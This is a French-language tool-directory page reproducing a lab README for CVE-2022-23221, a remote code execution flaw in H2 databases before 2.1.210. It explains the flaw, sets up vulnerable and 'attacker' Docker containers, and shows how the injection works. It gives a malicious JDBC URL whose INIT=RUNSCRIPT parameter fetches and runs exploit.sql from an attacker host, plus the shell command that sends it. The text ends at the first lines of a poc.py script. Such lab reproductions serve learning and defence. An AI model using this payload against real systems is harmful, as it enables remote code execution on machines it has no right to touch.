Skip to content
KitploitKITPLOIT
OutilsExploitsBlog
Log in
Soumettre
OutilsExploitsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
H2-database-CVE-2022-23221 — vulhub/H2-database/CVE-2022-23221 | Kitploit
Outils/GitHubGitHub/straightsang/h2-database-cve-2022-23221
Analyse des VulnérabilitésExploitationExploitation d'Applications WebApprentissage et ÉducationSécurité des Bases de DonnéesLabs et Pratique
GitHubstraightsang/h2-database-cve-2022-23221

H2-database-CVE-2022-23221

vulhub/H2-database/CVE-2022-23221

Voir le dépôt
23il y a 1 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

H2 Database RCE (CVE-2022-23221)


1. Résumé

  • Référence : https://nvd.nist.gov/vuln/detail/cve-2022-23221

  • H2 est un système de gestion de base de données relationnelle qui offre la possibilité de compiler et d'exécuter directement du code Java au sein du moteur SQL.

  • Le pilote H2 analyse l'URL JDBC pour établir la connexion entre l'application et la base de données. Les paramètres de configuration inclus dans l'URL permettent alors de contrôler l'état initial ou le comportement de la base de données.

  • Les versions de H2 antérieures à 2.1.210 présentent une vulnérabilité permettant d'exécuter un script SQL distant via le paramètre INIT de l'URL JDBC. Un attaquant peut exploiter cette faille pour injecter à distance un script SQL manipulé et exécuter des commandes système par l'intermédiaire des instructions qu'il contient, ce qui déclenche la vulnérabilité CVE-2022-23221.

  • Les caractéristiques de cette vulnérabilité sont les suivantes.

    1. Aucune authentification requise : quiconque dispose du droit de saisir une URL JDBC peut exploiter cette vulnérabilité pour prendre le contrôle du système.
    2. Exécution automatique au démarrage du service : il suffit à l'attaquant de modifier le fichier de configuration pour qu'une RCE (exécution de code à distance) se produise automatiquement au démarrage du service utilisant H2.
    3. Discrétion : il est difficile pour le développeur de détecter l'attaque.
    4. Large portée des dommages : grâce à sa rapidité et à sa légèreté, H2 est utilisé pour le développement et les tests de divers services web. Tout environnement permettant de configurer une URL JDBC via un fichier de configuration ou à partir d'une entrée utilisateur peut être la cible d'une attaque exploitant cette vulnérabilité, ce qui implique un fort impact.
  • Périmètre d'impact de la vulnérabilité

    • Versions affectées : H2 antérieur à 2.1.210
    • Versions corrigées : H2 2.1.210 et supérieur

2. Conditions de la vulnérabilité

  • Être en version H2 antérieure à 2.1.210.
  • L'URL JDBC doit contenir IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker-ip/acttacker-file.sql’.
    1. IGNORE_UNKNOWN_SETTINGS=TRUE, FORBID_CREATION=FALSE -> contournement des paramètres de sécurité
      • La présence de ces paramètres neutralise les réglages de sécurité, de sorte que la commande d'exécution de script distant n'est pas bloquée lors de l'initialisation et s'exécute telle quelle.
    2. INIT=RUNSCRIPT FROM 'http:/attacker-ip/acttacker-file.sql' -> commande SQL exécutée automatiquement lors de la connexion entre l'application et la base de données
      • Si la valeur du paramètre INIT contient la commande SQL RUNSCRIPT et l'adresse d'un script malveillant, H2 se connecte au serveur concerné, télécharge le fichier et l'exécute au moment où la connexion entre l'application et la base de données H2 est établie.
  • Le script SQL téléchargé doit contenir une instruction SQL CREATE ALIAS.
    • L'instruction CREATE ALIAS présente dans le script exécuté à distance amène H2 à exécuter la fonction Java contenue dans le script au sein de la base de données, ce qui aboutit à une RCE.




3. Configuration de l'environnement

  • Scénario

    • On configure un environnement H2 vulnérable et on saisit une URL JDBC malveillante dans H2. H2 analyse cette URL sans validation adéquate, récupère le fichier sql depuis le serveur attacker et l'exécute. Si les journaux du serveur h2-vulnerable affichent la chaîne « EXPLOITED » accompagnée des résultats d'exécution des commandes id, whoami, pwd, cela signifie que l'environnement H2 vulnérable a été configuré et que, lors de l'analyse de l'URL JDBC malveillante, H2 a téléchargé à distance le fichier exploit.sql depuis le serveur attacker externe et l'a exécuté.
  • Configuration de l'environnement

    docker compose up -d 
    

    docker ps

    • L'exécution de la commande démarre les environnements suivants.
    • h2-vulnerable : H2 2.0.206 (version vulnérable avant correctif)
      • Console web H2 : http://your-ip:8082
      • Serveur TCP : tcp://your-ip:9092
    • attacker : serveur HTTP
      • http://your-ip:8000 : fournit le fichier exploit.sql
  • Après avoir configuré l'environnement, si vous accédez à http://your-ip:8082, la page web H2 apparaît.




4. Procédure de reproduction

: Dans la console web, une politique de sécurité est appliquée, ce qui peut entraîner le filtrage des paramètres constituant les conditions de la vulnérabilité. Par conséquent, on reproduit la vulnérabilité en saisissant directement via la CLI une URL JDBC contenant des paramètres malveillants, puis on vérifie le résultat.

[Cas de requête normale]

  • URL JDBC normale : "jdbc:h2:mem:test"

  • Commande de requête normale

    docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
    -url "jdbc:h2:mem:test" \
    -user sa \
    -password ""
    
  • Résultat de l'exécution Exécution via CLI

    • Aucune requête reçue sur le serveur attacker
    • Aucun journal particulier n'est affiché sur le serveur h2-vulnerable

[Cas d'attaque de la vulnérabilité]

  • URL JDBC malveillante : "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'"

1. Exécution de l'attaque

  • On saisit une URL JDBC malveillante dans le pilote H2 pour tenter une connexion au serveur attacker. Il existe 2 méthodes pour saisir l'URL à ce moment-là.

    1. Saisir directement l'URL JDBC malveillante dans le H2 Shell via la CLI.
    docker exec h2-vulnerable java -cp /h2-bin/h2.jar org.h2.tools.Shell \
      -url "jdbc:h2:tcp://h2-vulnerable:9092/mem:test;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql'" \
      -user sa \
      -password ""
    

    Exécution via CLI

    1. Exécuter le fichier PoC.
    python3 poc.py
    

    Exécution de poc.py

2. Requête et exécution du fichier

  • H2 demande (HTTP GET) le fichier exploit.sql au serveur attacker conformément à INIT=RUNSCRIPT FROM 'http://attacker:8000/exploit.sql' spécifié dans le paramètre INIT de l'URL JDBC, puis l'exécute dans la base de données H2.

    1. En exécutant docker logs attacker, on peut consulter le journal de la requête du fichier exploit.sql provenant du serveur h2-vulnerable.
    docker logs attacker
    

    1. Le serveur attacker renvoie le fichier exploit.sql demandé, et le serveur h2-vulnerable exécute le fichier exploit.sql reçu. À ce moment-là, la syntaxe CREATE ALIAS à l'intérieur du script induit l'exécution de code Java, ce qui provoque une RCE.


5. Code poc.py

#!/usr/bin/env python3

# 목적: CVE-2022-23221 H2 Database RCE 상황을 재현하고자 함.
# 과정: 검증 우회 파라미터와 Java 명령어가 포함된 JDBC URL을 H2로 전송하여 원격 코드 실행 공격을 수행함.

import subprocess
import time
import sys
Télécharger l’outil